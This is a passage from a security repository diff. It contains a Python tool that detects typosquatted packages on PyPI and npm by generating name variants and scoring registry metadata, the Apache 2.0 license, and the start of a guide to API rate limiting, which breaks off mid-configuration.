||||
logger = logging.getLogger(__name__)
|
||||
|
||||
PYPI_API = "https://pypi.org/pypi/{}/json"
|
||||
NPM_API = "https://registry.npmjs.org/{}"
|
||||
NPM_DOWNLOADS_API = "https://api.npmjs.org/downloads/point/last-week/{}"
|
||||
PYPISTATS_API = "https://pypistats.org/api/packages/{}/recent"
|
||||
|
||||
SESSION = requests.Session()
|
||||
SESSION.headers.update({"Accept": "application/json", "User-Agent": "typosquat-detector/1.0"})
|
||||
|
||||
|
||||
def normalize_pypi_name(name):
|
||||
"""Normalize a PyPI package name per PEP 503."""
|
||||
return re.sub(r"[-_.]+", "-", name).lower()
|
||||
|
||||
|
||||
def generate_typosquat_candidates(name):
|
||||
"""Generate potential typosquat variants of a package name.
|
||||
|
||||
Produces candidates via character omission, transposition, insertion,
|
||||
substitution (keyboard-adjacent), and separator manipulation.
|
||||
"""
|
||||
candidates = set()
|
||||
lower_name = name.lower()
|
||||
|
||||
# Character omission: remove each character one at a time
|
||||
for i in range(len(lower_name)):
|
||||
candidate = lower_name[:i] + lower_name[i + 1:]
|
||||
if candidate and candidate != lower_name:
|
||||
candidates.add(candidate)
|
||||
|
||||
# Character transposition: swap adjacent characters
|
||||
for i in range(len(lower_name) - 1):
|
||||
chars = list(lower_name)
|
||||
chars[i], chars[i + 1] = chars[i + 1], chars[i]
|
||||
candidate = "".join(chars)
|
||||
if candidate != lower_name:
|
||||
candidates.add(candidate)
|
||||
|
||||
# Character duplication: double each character
|
||||
for i in range(len(lower_name)):
|
||||
candidate = lower_name[:i] + lower_name[i] + lower_name[i:]
|
||||
if candidate != lower_name:
|
||||
candidates.add(candidate)
|
||||
|
||||
# Keyboard-adjacent substitution (QWERTY layout)
|
||||
qwerty_neighbors = {
|
||||
"q": "wa", "w": "qeas", "e": "wrds", "r": "etfs", "t": "ryg",
|
||||
"y": "tuh", "u": "yij", "i": "uok", "o": "ipl", "p": "ol",
|
||||
"a": "qwsz", "s": "wedxza", "d": "erfcxs", "f": "rtgvcd",
|
||||
"g": "tyhbvf", "h": "yujng", "j": "uikmh", "k": "ioljm",
|
||||
"l": "opk", "z": "asx", "x": "zsdc", "c": "xdfv", "v": "cfgb",
|
||||
"b": "vghn", "n": "bhjm", "m": "njk",
|
||||
}
|
||||
for i, ch in enumerate(lower_name):
|
||||
for neighbor in qwerty_neighbors.get(ch, ""):
|
||||
candidate = lower_name[:i] + neighbor + lower_name[i + 1:]
|
||||
if candidate != lower_name:
|
||||
candidates.add(candidate)
|
||||
|
||||
# Separator manipulation for hyphenated/underscored names
|
||||
if "-" in lower_name or "_" in lower_name:
|
||||
candidates.add(lower_name.replace("-", "").replace("_", ""))
|
||||
candidates.add(lower_name.replace("-", "_"))
|
||||
candidates.add(lower_name.replace("_", "-"))
|
||||
candidates.add(lower_name.replace("-", "--"))
|
||||
|
||||
# Common prefix/suffix combosquatting
|
||||
for affix in ["python-", "py-", "-python", "-py", "-lib", "-sdk", "2", "3"]:
|
||||
if affix.startswith("-"):
|
||||
candidates.add(lower_name + affix)
|
||||
else:
|
||||
candidates.add(affix + lower_name)
|
||||
|
||||
# Remove the original name if present
|
||||
candidates.discard(lower_name)
|
||||
candidates.discard(name)
|
||||
|
||||
return sorted(candidates)
|
||||
|
||||
|
||||
def query_pypi_package(name, delay=0.5):
|
||||
"""Query the PyPI JSON API for package metadata.
|
||||
|
||||
Returns parsed metadata or None if the package does not exist.
|
||||
"""
|
||||
url = PYPI_API.format(name)
|
||||
try:
|
||||
time.sleep(delay)
|
||||
resp = SESSION.get(url, timeout=15)
|
||||
if resp.status_code == 404:
|
||||
return None
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
info = data.get("info", {})
|
||||
releases = data.get("releases", {})
|
||||
|
||||
# Find first and latest upload times
|
||||
upload_times = []
|
||||
for version_files in releases.values():
|
||||
for f in version_files:
|
||||
if f.get("upload_time_iso_8601"):
|
||||
upload_times.append(f["upload_time_iso_8601"])
|
||||
|
||||
first_upload = min(upload_times) if upload_times else None
|
||||
latest_upload = max(upload_times) if upload_times else None
|
||||
|
||||
return {
|
||||
"registry": "pypi",
|
||||
"name": info.get("name", name),
|
||||
"version": info.get("version"),
|
||||
"author": info.get("author"),
|
||||
"author_email": info.get("author_email"),
|
||||
"summary": info.get("summary"),
|
||||
"home_page": info.get("home_page"),
|
||||
"project_url": info.get("project_url"),
|
||||
"requires_python": info.get("requires_python"),
|
||||
"license": info.get("license"),
|
||||
"version_count": len(releases),
|
||||
"first_upload": first_upload,
|
||||
"latest_upload": latest_upload,
|
||||
"exists": True,
|
||||
}
|
||||
except requests.RequestException as e:
|
||||
logger.warning("PyPI query failed for %s: %s", name, e)
|
||||
return None
|
||||
|
||||
|
||||
def query_npm_package(name, delay=0.5):
|
||||
"""Query the npm registry API for package metadata.
|
||||
|
||||
Returns parsed metadata or None if the package does not exist.
|
||||
"""
|
||||
url = NPM_API.format(name)
|
||||
try:
|
||||
time.sleep(delay)
|
||||
resp = SESSION.get(url, timeout=15)
|
||||
if resp.status_code == 404:
|
||||
return None
|
||||
if resp.status_code == 429:
|
||||
logger.warning("npm rate limited, waiting 10 seconds")
|
||||
time.sleep(10)
|
||||
resp = SESSION.get(url, timeout=15)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
time_info = data.get("time", {})
|
||||
maintainers = data.get("maintainers", [])
|
||||
|
||||
return {
|
||||
"registry": "npm",
|
||||
"name": data.get("name", name),
|
||||
"description": data.get("description"),
|
||||
"dist_tags_latest": data.get("dist-tags", {}).get("latest"),
|
||||
"created": time_info.get("created"),
|
||||
"modified": time_info.get("modified"),
|
||||
"maintainers": [m.get("name") for m in maintainers],
|
||||
"version_count": len(data.get("versions", {})),
|
||||
"license": data.get("license"),
|
||||
"homepage": data.get("homepage"),
|
||||
"repository": data.get("repository", {}).get("url") if isinstance(data.get("repository"), dict) else data.get("repository"),
|
||||
"exists": True,
|
||||
}
|
||||
except requests.RequestException as e:
|
||||
logger.warning("npm query failed for %s: %s", name, e)
|
||||
return None
|
||||
|
||||
|
||||
def get_pypi_downloads(name):
|
||||
"""Get recent download stats for a PyPI package from pypistats.org."""
|
||||
url = PYPISTATS_API.format(name)
|
||||
try:
|
||||
resp = SESSION.get(url, timeout=10)
|
||||
if resp.status_code != 200:
|
||||
return None
|
||||
data = resp.json().get("data", {})
|
||||
return data.get("last_week", 0)
|
||||
except requests.RequestException:
|
||||
return None
|
||||
|
||||
|
||||
def get_npm_downloads(name):
|
||||
"""Get last-week download count for an npm package."""
|
||||
url = NPM_DOWNLOADS_API.format(name)
|
||||
try:
|
||||
resp = SESSION.get(url, timeout=10)
|
||||
if resp.status_code != 200:
|
||||
return None
|
||||
return resp.json().get("downloads", 0)
|
||||
except requests.RequestException:
|
||||
return None
|
||||
|
||||
|
||||
def compute_suspicion_score(candidate_meta, target_meta, target_name, registry):
|
||||
"""Compute a weighted suspicion score for a candidate typosquat package.
|
||||
|
||||
Signals:
|
||||
- Levenshtein distance (1 = 40pts, 2 = 25pts, 3 = 10pts)
|
||||
- Publish recency: created within 90 days = 15pts
|
||||
- Download ratio: candidate/target < 0.001 = 15pts
|
||||
- Different author/maintainer = 10pts
|
||||
- Low version count (<=2) = 5pts
|
||||
- No repository URL = 5pts
|
||||
"""
|
||||
score = 0
|
||||
signals = {}
|
||||
candidate_name = candidate_meta.get("name", "")
|
||||
|
||||
# Levenshtein distance
|
||||
if registry == "pypi":
|
||||
dist = levenshtein_distance(
|
||||
normalize_pypi_name(candidate_name),
|
||||
normalize_pypi_name(target_name),
|
||||
)
|
||||
else:
|
||||
dist = levenshtein_distance(candidate_name.lower(), target_name.lower())
|
||||
|
||||
signals["levenshtein_distance"] = dist
|
||||
if dist == 1:
|
||||
score += 40
|
||||
elif dist == 2:
|
||||
score += 25
|
||||
elif dist == 3:
|
||||
score += 10
|
||||
|
||||
# Publish recency
|
||||
now = datetime.now(timezone.utc)
|
||||
first_publish = candidate_meta.get("first_upload") or candidate_meta.get("created")
|
||||
if first_publish:
|
||||
try:
|
||||
if isinstance(first_publish, str):
|
||||
first_dt = datetime.fromisoformat(first_publish.replace("Z", "+00:00"))
|
||||
else:
|
||||
first_dt = first_publish
|
||||
days_old = (now - first_dt).days
|
||||
signals["days_since_first_publish"] = days_old
|
||||
if days_old <= 90:
|
||||
score += 15
|
||||
elif days_old <= 180:
|
||||
score += 8
|
||||
except (ValueError, TypeError):
|
||||
pass
|
||||
|
||||
# Download disparity
|
||||
if registry == "pypi":
|
||||
candidate_dl = get_pypi_downloads(candidate_name)
|
||||
target_dl = get_pypi_downloads(target_name)
|
||||
else:
|
||||
candidate_dl = get_npm_downloads(candidate_name)
|
||||
target_dl = get_npm_downloads(target_name)
|
||||
|
||||
signals["candidate_downloads_weekly"] = candidate_dl
|
||||
signals["target_downloads_weekly"] = target_dl
|
||||
if candidate_dl is not None and target_dl and target_dl > 0:
|
||||
ratio = candidate_dl / target_dl
|
||||
signals["download_ratio"] = round(ratio, 6)
|
||||
if ratio < 0.001:
|
||||
score += 15
|
||||
elif ratio < 0.01:
|
||||
score += 8
|
||||
|
||||
# Author comparison
|
||||
if registry == "pypi":
|
||||
candidate_author = (candidate_meta.get("author") or "").lower().strip()
|
||||
target_author = (target_meta.get("author") or "").lower().strip()
|
||||
else:
|
||||
candidate_author = set(m.lower() for m in (candidate_meta.get("maintainers") or []))
|
||||
target_author = set(m.lower() for m in (target_meta.get("maintainers") or []))
|
||||
|
||||
if candidate_author and target_author and candidate_author != target_author:
|
||||
score += 10
|
||||
signals["different_author"] = True
|
||||
else:
|
||||
signals["different_author"] = False
|
||||
|
||||
# Version count
|
||||
version_count = candidate_meta.get("version_count", 0)
|
||||
signals["version_count"] = version_count
|
||||
if version_count <= 2:
|
||||
score += 5
|
||||
|
||||
# Repository URL presence
|
||||
repo = candidate_meta.get("home_page") or candidate_meta.get("homepage") or candidate_meta.get("repository")
|
||||
signals["has_repository"] = bool(repo)
|
||||
if not repo:
|
||||
score += 5
|
||||
|
||||
signals["total_score"] = score
|
||||
return score, signals
|
||||
|
||||
|
||||
def classify_risk(score):
|
||||
"""Classify risk level based on composite score."""
|
||||
if score >= 70:
|
||||
return "HIGH"
|
||||
elif score >= 40:
|
||||
return "MEDIUM"
|
||||
else:
|
||||
return "LOW"
|
||||
|
||||
|
||||
def scan_package(target_name, registry="pypi", max_candidates=None):
|
||||
"""Scan for typosquat candidates of a target package.
|
||||
|
||||
Generates candidates, checks which exist in the registry, scores them,
|
||||
and returns ranked results.
|
||||
"""
|
||||
logger.info("Scanning for typosquats of '%s' on %s", target_name, registry)
|
||||
|
||||
# Fetch target package metadata
|
||||
if registry == "pypi":
|
||||
target_meta = query_pypi_package(target_name, delay=0.2)
|
||||
else:
|
||||
target_meta = query_npm_package(target_name, delay=0.2)
|
||||
|
||||
if not target_meta:
|
||||
logger.warning("Target package '%s' not found on %s", target_name, registry)
|
||||
return {"target": target_name, "registry": registry, "error": "Target package not found"}
|
||||
|
||||
# Generate candidates
|
||||
candidates = generate_typosquat_candidates(target_name)
|
||||
if max_candidates:
|
||||
candidates = candidates[:max_candidates]
|
||||
logger.info("Generated %d typosquat candidates for '%s'", len(candidates), target_name)
|
||||
|
||||
# Query registry for each candidate
|
||||
results = []
|
||||
for i, candidate in enumerate(candidates):
|
||||
if registry == "pypi":
|
||||
meta = query_pypi_package(candidate, delay=0.3)
|
||||
else:
|
||||
meta = query_npm_package(candidate, delay=0.3)
|
||||
|
||||
if meta and meta.get("exists"):
|
||||
score, signals = compute_suspicion_score(
|
||||
meta, target_meta, target_name, registry
|
||||
)
|
||||
risk = classify_risk(score)
|
||||
results.append({
|
||||
"candidate": candidate,
|
||||
"target": target_name,
|
||||
"registry": registry,
|
||||
"score": score,
|
||||
"risk": risk,
|
||||
"signals": signals,
|
||||
"metadata": meta,
|
||||
})
|
||||
logger.info(
|
||||
" [%s] %s (score=%d, lev=%d)",
|
||||
risk, candidate, score, signals.get("levenshtein_distance", -1),
|
||||
)
|
||||
|
||||
if (i + 1) % 50 == 0:
|
||||
logger.info(" Progress: %d/%d candidates checked", i + 1, len(candidates))
|
||||
|
||||
# Sort by score descending
|
||||
results.sort(key=lambda r: r["score"], reverse=True)
|
||||
|
||||
return {
|
||||
"target": target_name,
|
||||
"registry": registry,
|
||||
"target_metadata": target_meta,
|
||||
"candidates_generated": len(candidates),
|
||||
"candidates_found": len(results),
|
||||
"results": results,
|
||||
}
|
||||
|
||||
|
||||
def scan_dependency_file(filepath, registry="pypi", max_candidates_per_pkg=None):
|
||||
"""Scan all dependencies in a requirements file or package.json."""
|
||||
filepath = Path(filepath)
|
||||
if not filepath.exists():
|
||||
return {"error": f"File not found: {filepath}"}
|
||||
|
||||
content = filepath.read_text()
|
||||
packages = []
|
||||
|
||||
if filepath.name in ("requirements.txt", "requirements.in"):
|
||||
for line in content.splitlines():
|
||||
line = line.strip()
|
||||
if line and not line.startswith("#") and not line.startswith("-"):
|
||||
pkg = re.split(r"[><=!~\[]", line)[0].strip()
|
||||
if pkg:
|
||||
packages.append(pkg)
|
||||
elif filepath.name == "package.json":
|
||||
try:
|
||||
pkg_json = json.loads(content)
|
||||
for dep_key in ("dependencies", "devDependencies", "peerDependencies"):
|
||||
packages.extend(pkg_json.get(dep_key, {}).keys())
|
||||
except json.JSONDecodeError as e:
|
||||
return {"error": f"Invalid JSON: {e}"}
|
||||
elif filepath.name in ("Pipfile",):
|
||||
for line in content.splitlines():
|
||||
line = line.strip()
|
||||
if "=" in line and not line.startswith("[") and not line.startswith("#"):
|
||||
pkg = line.split("=")[0].strip().strip('"')
|
||||
if pkg and not pkg.startswith("["):
|
||||
packages.append(pkg)
|
||||
else:
|
||||
# Generic: one package per line
|
||||
for line in content.splitlines():
|
||||
line = line.strip()
|
||||
if line and not line.startswith("#"):
|
||||
packages.append(line.split()[0])
|
||||
|
||||
packages = list(dict.fromkeys(packages)) # deduplicate preserving order
|
||||
logger.info("Found %d packages in %s", len(packages), filepath)
|
||||
|
||||
all_results = {
|
||||
"file": str(filepath),
|
||||
"registry": registry,
|
||||
"packages_scanned": len(packages),
|
||||
"scan_results": [],
|
||||
"summary": {"high": 0, "medium": 0, "low": 0},
|
||||
}
|
||||
|
||||
for pkg in packages:
|
||||
result = scan_package(pkg, registry, max_candidates_per_pkg)
|
||||
all_results["scan_results"].append(result)
|
||||
for r in result.get("results", []):
|
||||
risk = r.get("risk", "LOW").lower()
|
||||
all_results["summary"][risk] = all_results["summary"].get(risk, 0) + 1
|
||||
|
||||
return all_results
|
||||
|
||||
|
||||
def generate_report(data, output_path):
|
||||
"""Write scan results to a JSON report file."""
|
||||
report = {
|
||||
"report_generated": datetime.now(timezone.utc).isoformat(),
|
||||
**data,
|
||||
}
|
||||
with open(output_path, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
logger.info("Report written to %s", output_path)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Typosquatting Detection Agent for npm and PyPI"
|
||||
)
|
||||
sub = parser.add_subparsers(dest="command", required=True)
|
||||
|
||||
# scan single package
|
||||
scan_p = sub.add_parser("scan", help="Scan for typosquats of a single package")
|
||||
scan_p.add_argument("package", help="Target package name to scan for typosquats")
|
||||
scan_p.add_argument("--registry", choices=["pypi", "npm"], default="pypi",
|
||||
help="Package registry to scan (default: pypi)")
|
||||
scan_p.add_argument("--max-candidates", type=int, help="Limit candidates to check")
|
||||
|
||||
# scan dependency file
|
||||
file_p = sub.add_parser("scan-file", help="Scan dependencies from a file")
|
||||
file_p.add_argument("file", help="Path to requirements.txt, package.json, etc.")
|
||||
file_p.add_argument("--registry", choices=["pypi", "npm"], default="pypi",
|
||||
help="Package registry to scan (default: pypi)")
|
||||
file_p.add_argument("--max-candidates", type=int, help="Limit candidates per package")
|
||||
|
||||
# check single candidate
|
||||
check_p = sub.add_parser("check", help="Check a specific package name against a target")
|
||||
check_p.add_argument("candidate", help="Candidate package name to check")
|
||||
check_p.add_argument("target", help="Legitimate target package name")
|
||||
check_p.add_argument("--registry", choices=["pypi", "npm"], default="pypi")
|
||||
|
||||
# generate candidates only (no registry queries)
|
||||
gen_p = sub.add_parser("generate", help="Generate typosquat candidates without querying registry")
|
||||
gen_p.add_argument("package", help="Package name to generate candidates for")
|
||||
|
||||
parser.add_argument("--output", default="typosquat_report.json", help="Output report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
result = {}
|
||||
|
||||
if args.command == "scan":
|
||||
result = scan_package(args.package, args.registry, args.max_candidates)
|
||||
|
||||
elif args.command == "scan-file":
|
||||
result = scan_dependency_file(args.file, args.registry, args.max_candidates)
|
||||
|
||||
elif args.command == "check":
|
||||
if args.registry == "pypi":
|
||||
candidate_meta = query_pypi_package(args.candidate)
|
||||
target_meta = query_pypi_package(args.target)
|
||||
else:
|
||||
candidate_meta = query_npm_package(args.candidate)
|
||||
target_meta = query_npm_package(args.target)
|
||||
|
||||
if not candidate_meta:
|
||||
result = {"candidate": args.candidate, "exists": False, "risk": "NONE"}
|
||||
elif not target_meta:
|
||||
result = {"error": f"Target package '{args.target}' not found"}
|
||||
else:
|
||||
score, signals = compute_suspicion_score(
|
||||
candidate_meta, target_meta, args.target, args.registry
|
||||
)
|
||||
result = {
|
||||
"candidate": args.candidate,
|
||||
"target": args.target,
|
||||
"registry": args.registry,
|
||||
"score": score,
|
||||
"risk": classify_risk(score),
|
||||
"signals": signals,
|
||||
"candidate_metadata": candidate_meta,
|
||||
"target_metadata": target_meta,
|
||||
}
|
||||
|
||||
elif args.command == "generate":
|
||||
candidates = generate_typosquat_candidates(args.package)
|
||||
result = {
|
||||
"package": args.package,
|
||||
"candidate_count": len(candidates),
|
||||
"candidates": candidates,
|
||||
}
|
||||
|
||||
print(json.dumps(result, indent=2, default=str))
|
||||
generate_report(result, args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,481 @@
|
||||
---
|
||||
name: implementing-api-rate-limiting-and-throttling
|
||||
description: 'Implements API rate limiting and throttling with token bucket, sliding
|
||||
window, and fixed window algorithms, configuring per-user, per-IP, and per-endpoint
|
||||
limits via Redis-backed counters, API gateway plugins, or middleware, and returning
|
||||
proper HTTP 429 responses with Retry-After headers. Use when setting up request
|
||||
quota management or preventing brute force, credential stuffing, and resource exhaustion
|
||||
attacks against APIs.'
|
||||
domain: cybersecurity
|
||||
subdomain: api-security
|
||||
tags:
|
||||
- api-security
|
||||
- rate-limiting
|
||||
- throttling
|
||||
- redis
|
||||
- token-bucket
|
||||
- abuse-prevention
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- ID.RA-01
|
||||
- PR.DS-10
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1190
|
||||
- T1059.007
|
||||
- T1552.001
|
||||
- T1003
|
||||
- T1110
|
||||
---
|
||||
# Implementing API Rate Limiting and Throttling
|
||||
|
||||
## When to Use
|
||||
|
||||
- Protecting authentication endpoints against brute force and credential stuffing attacks
|
||||
- Preventing API abuse and resource exhaustion from automated scripts and bots
|
||||
- Implementing fair usage quotas for different API consumer tiers (free, premium, enterprise)
|
||||
- Defending against denial-of-service attacks at the application layer
|
||||
- Meeting compliance requirements that mandate API abuse prevention controls
|
||||
|
||||
**Do not use** rate limiting as the sole defense against attacks. Combine with authentication, authorization, and WAF rules.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Redis 6.0+ for distributed rate limit counters (or in-memory for single-instance deployments)
|
||||
- API framework (Express.js, FastAPI, Spring Boot, or Django REST Framework)
|
||||
- Monitoring system for rate limit metrics (Prometheus, CloudWatch, Datadog)
|
||||
- Understanding of the API's normal traffic patterns and peak usage
|
||||
- Load testing tool (k6, Gatling, or Locust) for validating rate limit behavior
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Rate Limiting Strategy Design
|
||||
|
||||
Define rate limits per endpoint category and user tier:
|
||||
|
||||
```python
|
||||
# Rate limit configuration
|
||||
RATE_LIMITS = {
|
||||
# Authentication endpoints (most restrictive)
|
||||
"auth": {
|
||||
"login": {"requests": 5, "window_seconds": 60, "by": "ip"},
|
||||
"register": {"requests": 3, "window_seconds": 300, "by": "ip"},
|
||||
"forgot_password": {"requests": 3, "window_seconds": 3600, "by": "ip"},
|
||||
"verify_mfa": {"requests": 5, "window_seconds": 300, "by": "user"},
|
||||
},
|
||||
# Standard API endpoints
|
||||
"api": {
|
||||
"free": {"requests": 60, "window_seconds": 60, "by": "user"},
|
||||
"premium": {"requests": 300, "window_seconds": 60, "by": "user"},
|
||||
"enterprise": {"requests": 1000, "window_seconds": 60, "by": "user"},
|
||||
},
|
||||
# Resource-intensive endpoints
|
||||
"expensive": {
|
||||
"search": {"requests": 10, "window_seconds": 60, "by": "user"},
|
||||
"export": {"requests": 5, "window_seconds": 3600, "by": "user"},
|
||||
"bulk_import": {"requests": 2, "window_seconds": 3600, "by": "user"},
|
||||
},
|
||||
# Global limits
|
||||
"global": {
|
